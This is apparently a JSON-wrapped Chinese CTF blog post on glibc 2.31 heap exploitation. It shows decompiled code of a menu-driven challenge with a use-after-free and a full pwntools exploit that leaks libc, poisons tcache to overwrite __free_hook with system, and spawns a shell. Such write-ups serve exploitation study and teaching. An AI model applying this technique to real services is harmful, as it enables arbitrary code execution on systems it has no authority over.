int __fastcall main(int argc, const char **argv, const char **envp)\n{\n int result; \/\/ eax\n\n init();\n while ( 2 )\n {\n menu();\n switch ( read_ll() )\n {\n case 1LL:\n add();\n continue;\n case 2LL:\n delete_();\n continue;\n case 3LL:\n edit();\n continue;\n case 4LL:\n show_qword();\n continue;\n case 5LL:\n wipe();\n continue;\n case 6LL:\n result = 0;\n break;\n default:\n result = 0;\n break;\n }\n break;\n }\n return result;\n}<\/code><\/pre>\n\n\n\nvoid __cdecl add()\n{\n unsigned __int64 sz; \/\/ [rsp+0h] [rbp-10h]\n unsigned int idx; \/\/ [rsp+Ch] [rbp-4h]\n\n puts(\"idx:\");\n idx = read_ll();\n if ( idx >= 8 )\n exit(0);\n puts(\"size:\");\n sz = read_ull();\n if ( sz <= 0x17 || sz > 0x600 )\n exit(0);\n if ( chunks[idx] )\n {\n puts(\"slot used\");\n }\n else\n {\n chunks[idx] = (char *)malloc(sz);\n sizes[idx] = sz;\n inuse[idx] = 1;\n printf(\"gift: %p\\n\", chunks[idx]);\n puts(\"content:\");\n read_n(chunks[idx], sz);\n }\n}<\/code><\/pre>\n\n\n\nvoid __cdecl delete_()\n{\n unsigned int idx; \/\/ [rsp+Ch] [rbp-4h]\n\n puts(\"idx:\");\n idx = read_ll();\n if ( idx >= 8 )\n exit(0);\n if ( chunks[idx] && inuse[idx] )\n {\n free(chunks[idx]);\n inuse[idx] = 0;\n puts(\"done\");\n }\n else\n {\n puts(\"no\");\n }\n}<\/code><\/pre>\n\n\n\nvoid __cdecl edit()\n{\n unsigned __int64 len; \/\/ [rsp+0h] [rbp-10h]\n unsigned int idx; \/\/ [rsp+Ch] [rbp-4h]\n\n puts(\"idx:\");\n idx = read_ll();\n if ( idx >= 8 )\n exit(0);\n if ( chunks[idx] )\n {\n puts(\"len:\");\n len = read_ull();\n if ( len <= sizes[idx] )\n {\n puts(\"content:\");\n read_n(chunks[idx], len);\n puts(\"done\");\n }\n else\n {\n puts(\"too big\");\n }\n }\n else\n {\n puts(\"no\");\n }\n}<\/code><\/pre>\n\n\n\nvoid __cdecl show_qword()\n{\n size_t off; \/\/ [rsp+10h] [rbp-10h]\n unsigned int idx; \/\/ [rsp+1Ch] [rbp-4h]\n\n puts(\"idx:\");\n idx = read_ll();\n if ( idx >= 8 )\n exit(0);\n if ( chunks[idx] )\n {\n puts(\"offset:\");\n off = read_ull();\n if ( off + 8 <= sizes[idx] )\n printf(\"0x%016llx\\n\", *(_QWORD *)&chunks[idx][off]);\n else\n puts(\"bad\");\n }\n else\n {\n puts(\"no\");\n }\n}<\/code><\/pre>\n\n\n\nvoid __cdecl wipe()\n{\n unsigned int idx; \/\/ [rsp+Ch] [rbp-4h]\n\n puts(\"idx:\");\n idx = read_ll();\n if ( idx >= 8 )\n exit(0);\n if ( chunks[idx] && inuse[idx] )\n {\n free(chunks[idx]);\n chunks[idx] = 0LL;\n sizes[idx] = 0LL;\n inuse[idx] = 0;\n puts(\"wipe done\");\n }\n else\n {\n puts(\"no\");\n }\n}<\/code><\/pre>\n\n\n\n 0x2 \u601d\u8def<\/h4>\n\n\n\n
\u00b7<\/strong> \u4fdd\u62a4\u903b\u8f91\u51e0\u4e4e\u4e3a\u96f6\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728free\u4e00\u4e2a\u5927chunk\u540e\u901a\u8fc7show_qword\u51fd\u6570\u6cc4\u9732head\uff0c\u5f97\u5230libc\u5730\u5740\uff0c\u4ece\u800c\u7b97\u51fasystem\u548c__free_hook\u5730\u5740\u3002\u7136\u540eUAF\u628a__free_hook\u5730\u5740\u8fd4\u56de\u5e76\u5411\u5176\u5199\u5165system\uff0c\u6700\u540e\u51c6\u5907\u4e00\u4e2a\u5199\u5165\u4e86”\/bin\/sh”\u7684chunk\u5e76\u5c06\u5176free\uff0c\u4ece\u800c\u6267\u884csystem(“\/bin\/sh”)\u3002\u8be6\u89c1exp\u6ce8\u91ca\u3002<\/p>\n\n\n\n 0x3 exp<\/h4>\n\n\n\nfrom pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) \n\nio = process('.\/pwn_patched') \n#io = remote() \n\ndef menu(idx: int): \n io.recvuntil('exit\\n>') \n io.sendline(str(idx)) \n\ndef add(idx: int, size: int, content: bytes): \n menu(1) \n io.recvuntil('idx:') \n io.sendline(str(idx)) \n io.recvuntil('size:') \n io.sendline(str(size)) \n io.recvuntil('content:') \n io.send(content) \n\ndef delete(idx: int): \n menu(2) \n io.recvuntil('idx:') \n io.sendline(str(idx)) \n\ndef edit(idx: int, length: int, content): \n menu(3) \n io.recvuntil('idx:') \n io.sendline(str(idx)) \n io.recvuntil('len:') \n io.sendline(str(length)) \n io.recvuntil('content:') \n io.send(content) \n\ndef show(idx: int, off: int): \n menu(4) \n io.recvuntil('idx:') \n io.sendline(str(idx)) \n io.recvuntil('offset:') \n io.sendline(str(off)) \n\ndef wipe(idx: int): \n menu(5) \n io.recvuntil('idx:') \n io.sendline(str(idx)) \n\nsystem_offset = 0x55410 \n__free_hook_offset = 0x1eeb28 \n\n''' \nthinking... \nA = malloc(0x420) \nB = malloc(0x420) \nfree(A) \n| unsorted bin[0x430]: head -> chunk_A -> head \nshow(A) | get head -> get libc_base -> get system && get __free_hook \nC = malloc(0x30) \nD = malloc(0x30) \nE = malloc(0x30) && E + 0x00 = '\/bin\/sh' \nfree(C) \nfree(D) \n|tcache[0x40]: head -> D -> C \nedit(D.next, &__free_hook - 0x08) \nF = malloc(0x30) | tcache[0x40]: head -> &__free_hook \nG = malloc(0x30) && G + 0x08 = &system | G = __free_hook - 0x08 -> __free_hook = &system \nfree(E) | system(\"\/bin\/sh\") \n''' \n\nadd(0, 0x420, b'A'*0x420) \nadd(1, 0x420, b'B'*0x420) \n# \u8fd9\u91cc\u7533\u8bf7\u4e24\u4e2achunk\u662f\u4e3a\u4e86\u907f\u514dfree\u540echunk\u76f4\u63a5\u8fdb\u5165top\ndelete(0) \n# chunk_0\u8fdb\u5165unsorted bin\n\nshow(0, 0) \n# \u6cc4\u9732head\u5730\u5740\uff0c\u63a5\u4e0b\u6765\u7528head\u5730\u5740\u7b97\u51falibc\u57fa\u5740\u3001system\u5730\u5740\u3001__free_hook\u5730\u5740\nio.recvuntil('\\n') \nhead = int(io.recvuntil('\\n', drop=True), 16) \nprint('*****', head, '*****') \n# gdb.attach(io) \nhead_offset = 0x7f1fb9494be0 - 0x7f1fb92a9000 \nlibc_base = head - head_offset \nprint('*****libc_base: ', hex(libc_base), '*****') \nsystem = libc_base + system_offset \n__free_hook = libc_base + __free_hook_offset \nprint('*****__free_hook: ', hex(__free_hook), '*****') \n\nadd(2, 0x30, b'C'*0x30) \nadd(3, 0x30, b'D'*0x30)\n# \u8fd9\u4e24\u4e2achunk\u672a\u6765\u7528\u6765UAF\u62ff\u5230__free_hook\u5730\u5740 \nadd(4, 0x30, b'\/bin\/sh\\0'+b'\\0'*0x28)\n# \u8fd9\u4e2achunk\u4e00\u6765\u662f\u7528\u6765\u5b58\u50a8\"\/bin\/sh\"\uff0c\u4e8c\u6765\u662f\u7528\u6765\u9632\u6b62\u4e0a\u4e24\u4e2achunk\u88ab\u5e76\u5165top \ndelete(2) \ndelete(3) \n\nedit(3, 8, p64(__free_hook - 0x8))\n# UAF\u5411next\u5199\u5165__free_hook\u3002\u8fd9\u91cc-0x8\u662f\u4fdd\u8bc116\u5b57\u8282\u5bf9\u9f50\u30022.31\u7684__free_hook\u7684\u504f\u79fb\u662f\u4e0d\u5bf9\u9f50\u7684\u3002 \n# gdb.attach(io) \nadd(5, 0x30, b'F'*0x30)\n# head -> __free_hook \nadd(6, 0x30, b'\\0'*0x8 + p64(system) + b'\\0'*0x20) \n# \u8fd4\u56de__free_hook - 0x8\uff0c\u540c\u65f6\u5411__free_hook\u5199\u5165system\n\ndelete(4) \n# \u6b64\u65f6__free_hook = system, free(chunk_4)\u7b49\u6548\u4e8esystem(\"\/bin\/sh\");\n\nio.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":" 0x0 __free_hook\u662f\u4ec0\u4e48 \u00b7 __free_hoo\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-122","post","type-post","status-publish","format-standard","hentry","category-heap2-31"],"_links":{"self":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/122","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/comments?post=122"}],"version-history":[{"count":1,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/122\/revisions"}],"predecessor-version":[{"id":124,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/122\/revisions\/124"}],"wp:attachment":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/media?parent=122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/categories?post=122"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/tags?post=122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"\"](\"http:\/\/39.106.187.170\/wp-content\/uploads\/2026\/04\/image-14.png\")
<\/figure>\n\n\n\n